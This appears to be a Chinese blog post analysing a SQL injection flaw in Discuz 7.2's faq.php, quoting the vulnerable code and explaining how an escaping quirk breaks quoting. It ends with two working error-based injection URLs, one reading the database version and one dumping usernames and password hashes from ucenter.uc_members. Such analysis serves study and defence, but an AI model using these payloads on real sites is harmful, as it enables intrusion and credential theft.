1. 程式人生 > >Discuz 7.2 faq.php漏洞分析

Discuz 7.2 faq.php漏洞分析

cat array src emp row 括號 查詢 d+ 參數

漏洞發生在頁面faq.php中,源碼如下:

 elseif($action == ‘grouppermission‘) {ksort($gids);
    $groupids = array();
    foreach($gids as $row) {
        $groupids[] = $row[0];
    }

    $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids
).")");

這段話的意思是在首先針對數組$gids按照其關鍵字進行升序操作,然後取變量數組$gids中每個關鍵字的值的第一位$row[0]存到$groupids數組中,之後使用implodeids()函數生成一個字符串帶入sql查詢語句中。

這裏每當我們輸入一個$gids參數時,都會默認進行轉義操作,即如果我們輸入單引號‘,那麽存儲的最終數據為\‘,但是他每次都會只取出數組中的第一位值,即此時的$row[0]=‘\’,這時會把\取出來放到$groupids數組中。

假設輸入單引號後的$gids數組的值是{‘1‘,‘\‘‘,‘3‘,‘4‘},然後我們取其第一位值放到$groupids數組中,此時$groupids={‘1‘,‘\‘,‘3‘,‘4‘}。

然後我們開始看implodeids()函數,在global.fanc.php文件中

function implodeids($array) {
    if(!empty($array)) {
        return "‘".implode("‘,‘", is_array($array) ? $array : array($array))."‘";
    } else {
        return ‘‘;
    }
}

就是把數組各個數組使用‘,‘連接到一起。

那麽$groupids經過該函數之後就變為‘1‘,‘\‘,‘3‘,‘4‘;

此時就出現了問題,因為第四個單引號由於左邊右斜杠\的存在強行被轉義為單引號字符,不會再與第三個單引號閉合,此時第三個單引號將與第五個單引號形成閉合,3位置就會出現逃逸,此時構造3位置為payload即可形成註入。3處輸入右括號與前面進行封閉,然後and+一個新的查詢語句即可。

此時payload可寫為:

http://127.0.0.1/dz/faq.php?action=grouppermission&gids[80]=‘&gids[81][0]=) and updatexml(1,concat(0x7e,(select @@version)),1)%23

http://127.0.0.1/dz/faq.php?action=grouppermission&gids[80]=‘&gids[81][0]=) and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from ucenter.uc_members)),1)%23

技術分享

Discuz 7.2 faq.php漏洞分析